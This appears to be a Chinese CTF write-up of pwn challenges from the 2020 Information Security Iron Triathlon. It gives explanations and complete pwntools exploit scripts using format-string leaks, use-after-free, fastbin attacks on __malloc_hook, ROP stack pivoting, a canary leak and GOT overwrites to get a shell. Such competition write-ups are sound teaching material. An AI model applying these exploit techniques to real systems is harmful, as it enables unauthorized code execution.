zoukankan      html  css  js  c++  java
  • 2020信息安全铁人三项 pwn复盘

    第一赛区

    hacknote

      程序存在格式化字符串漏洞和uaf,不多说了,很简单。

     1 from pwn import *
     2 
     3 p = process('./hacknote')
     4 elf = ELF('./hacknote')
     5 libc = ELF('./libc.so.6')
     6 context.log_level = 'debug'
     7 #by bhxdn
     8 
     9 def duan():
    10     gdb.attach(p)
    11     pause()
    12 
    13 def add(size,content):
    14     p.sendlineafter('choice :','1')
    15     p.sendlineafter('size :',str(size))
    16     p.sendafter('Content :',content)
    17 
    18 def delete(index):
    19     p.sendlineafter('choice :','2')
    20     p.sendlineafter('Index :',str(index))
    21 
    22 def show(index):
    23     p.sendlineafter('choice :','3')
    24     p.sendlineafter('Index :',str(index))
    25 
    26 #leak libc_base
    27 p.sendafter('name!
    ','%13$p')
    28 p.recvuntil('hello ,')
    29 libc_base = int(p.recv(14),16)-240-libc.symbols['__libc_start_main']
    30 print 'libc_base-->' + hex(libc_base)
    31 shell = libc_base + 0x45226
    32 
    33 add(0x20,'aaaaaaaa')
    34 add(0x20,'bbbbbbbb')
    35 delete(0)
    36 delete(1)
    37 add(0x10,p64(shell))
    38 show(0)
    39 p.interactive()

    heap

      同样是存在格式化字符串漏洞和uaf漏洞。

      说一下格式化字符串漏洞泄露libc吧。

      这里我直接看偏移为25的值。然后pwndbg看栈的情况,我直接stack 300看栈情况。然后放到文本中去找。

      25偏移下面那个箭头,所以__libc_start_main+240就是偏移19。所以就%19$p就可以leak libc版本和地址了。

      程序存在uaf漏洞,fastbins attack来攻击__malloc__hook,这里还需要利用realloc来调整一下栈帧来让one_gadget生效。

     1 from pwn import *
     2 
     3 p = process('./heap')
     4 elf = ELF('./heap')
     5 libc = ELF('./libc.so.6')
     6 context.log_level = 'debug'
     7 #by bhxdn
     8 
     9 def duan():
    10     gdb.attach(p)
    11     pause()
    12 
    13 def add(size):
    14     p.sendlineafter('choice: ','1')
    15     p.sendlineafter('item: ',str(size))
    16 
    17 def delete(index):
    18     p.sendlineafter('choice: ','4')
    19     p.sendlineafter('item: ',str(index))
    20 
    21 def edit(index,content):
    22     p.sendlineafter('choice: ','3')
    23     p.sendlineafter('item: ',str(index))
    24     p.sendafter('data: ',content)
    25 
    26 def show(index):
    27     p.sendlineafter('choice: ','2')
    28     p.sendlineafter('item: ',str(index))
    29 
    30 
    31 #leak libc_base
    32 p.sendafter('name: ','%19$p')
    33 p.recvuntil('Hello, ')
    34 libc_base = int(p.recv(14),16)-240-libc.symbols['__libc_start_main']
    35 print 'pianyi-->' + hex(libc.symbols['__libc_start_main'])
    36 print 'libc_base-->' + hex(libc_base)
    37 shell = libc_base + 0x4527a
    38 
    39 add(0x20) #0
    40 add(0x60) #1
    41 delete(1)
    42 edit(1,p64(libc_base+libc.symbols['__malloc_hook']-0x23))
    43 add(0x60) #1 2
    44 add(0x60) #attack
    45 edit(3,'a'*(0x13-8)+p64(shell)+p64(libc_base+libc.symbols['realloc']+0xc))
    46 add(0x60)
    47 p.interactive()

    第二赛区

    stackstorm

      可以往堆写入两次数据(但似乎并没有什么用),可以栈溢出,但是只能溢出0x10字节。

      利用第一次溢出泄露栈地址,然后第二次在栈上布置rop,利用栈转移迁移到我们布置的rop链上,leak了libc地址,然后返回到main函数,直接将返回地址覆盖成one_gadget就可以了。

     1 from pwn import *
     2 
     3 p = process('./stackstorm')
     4 elf = ELF('./stackstorm')
     5 libc = ELF('./libc.so.6')
     6 context.log_level = 'debug'
     7 
     8 pop_rdi = 0x00400903
     9 leave_ret = 0x04007C1
    10 buf = elf.bss()+0x100
    11 main = 0x04007C3
    12 
    13 p.sendafter('data1:
    ','bhxdn')
    14 payload = 'a'*(0x70-1)+'b'
    15 p.sendafter('data2:
    ',payload)
    16 p.recvuntil('b')
    17 stack_addr = u64(p.recv(6).ljust(8,'x00'))
    18 print 'stack_addr-->' + hex(stack_addr)
    19 
    20 p.sendafter('data1:
    ','bhxdn')
    21 payload = 'aaaaaaaa' + p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(main)+p64(0)*9+p64(stack_addr-0x20-0x70)+p64(leave_ret)
    22 p.sendafter('data2:
    ',payload)
    23 p.recv(12)
    24 libc_base = u64(p.recv(6).ljust(8,'x00'))-libc.symbols['puts']
    25 print 'libc_base-->'+hex(libc_base)
    26 shell = libc_base+0x4527a
    27 
    28 payload = 'a'*0x70+'bbbbbbbb'+p64(shell)
    29 p.send('bhxdn')
    30 p.sendafter('data2:
    ',payload)
    31 p.interactive()

    第三赛区

    待更新

    第四赛区

    namepie

      程序本身有system("/bin/sh"),两个输入,可以利用第一个输入leak canary。

       图片可以看到rbp下面是程序本身的地址。开启pie 的程序,后三位是不会变的,所以只覆盖最后一个字节,覆盖成shell的字节,就拿到shell了。

    exp:

     1 from pwn import *
     2 
     3 elf = ELF('./namepie')
     4 context.log_level = 'debug'
     5 
     6 shell = 0x000A71
     7 
     8 p = process('./namepie')
     9 p.recvuntil('Name:
    ')
    10 p.send('a'*0x28+'b')
    11 p.recvuntil('b')
    12 canary = u64(p.recv(7).rjust(8,'x00'))
    13 print 'canary-->' + hex(canary)
    14 p.recv()
    15 p.send('a'*0x28+p64(canary)+'bbbbbbbb'+'x71')
    16 p.sendline('ls')
    17 p.recvuntil('namepie')
    18 p.interactive()

    onetime

      是一道菜单堆题。调试的时候发现bss段上有7f。

      存在uaf,先malloc一个chunk,再free掉,修改fd为bss段上的地址。然后再申请两次申请回来。这时候就可以控制bss上的数据,并且有一个可以读写的指针。

      将指针指向malloc_got,泄露libc地址,然后修改malloc_got为one_gadget的地址,再执行malloc就拿到shell了。

     1 from pwn import *
     2 
     3 p = process('./pwn')
     4 elf = ELF('./pwn')
     5 libc = ELF('./libc.so.6')
     6 context.log_level = 'debug'
     7 
     8 def duan():
     9     gdb.attach(p)
    10     pause()
    11 
    12 def add():
    13     p.sendlineafter('choice >>
    ','1')
    14 
    15 def edit(content):
    16     p.sendlineafter('choice >>
    ','2')
    17     p.sendafter('content:',content)
    18 
    19 def show():
    20     p.sendlineafter('choice >>
    ','3')
    21 
    22 def delete():
    23     p.sendlineafter('choice >>
    ','4')
    24 
    25 def gift(content):
    26     p.sendlineafter('choice >>
    ','5')
    27     p.sendafter('name:',content)
    28 
    29 attack_addr = 0x0006020BC-0x2f
    30 #x/32gx 0x0006020BC-0x24
    31 add()
    32 delete()
    33 edit(p64(attack_addr))
    34 add()
    35 gift('a'*11+p64(elf.got['malloc'])+p32(100)+p32(100)+p32(100)+p32(100))
    36 
    37 show()
    38 libc_base = u64(p.recvuntil('x7f')[-6:].ljust(8,'x00')) - libc.symbols['malloc']
    39 print 'libc_base-->' + hex(libc_base)
    40 shell = libc_base + 0x45226
    41 
    42 
    43 edit(p64(shell))
    44 add()
    45 p.interactive()
  • 相关阅读:
    POJ 2068 Nim#双人dp博弈
    POJ 1678 I Love this Game!#dp博弈
    HDU 3404&POJ 3533 Nim积(二维&三维)
    POJ 3537 Crosses and Crosses(SG/还未想完全通的一道SG)
    POJ 2311 Cutting Game(SG+记忆化)
    POJ 2484 A Funny Game(找规律)
    POJ 2505 A multiplication game(找规律博弈/贪心)
    POJ 2975 Nim(普通nim)
    POJ 2368 Buttons(巴什博弈变形)
    POJ 1704 Georgia and Bob(阶梯博弈+证明)
  • 原文地址:https://www.cnblogs.com/bhxdn/p/13974604.html
Copyright © 2011-2022 走看看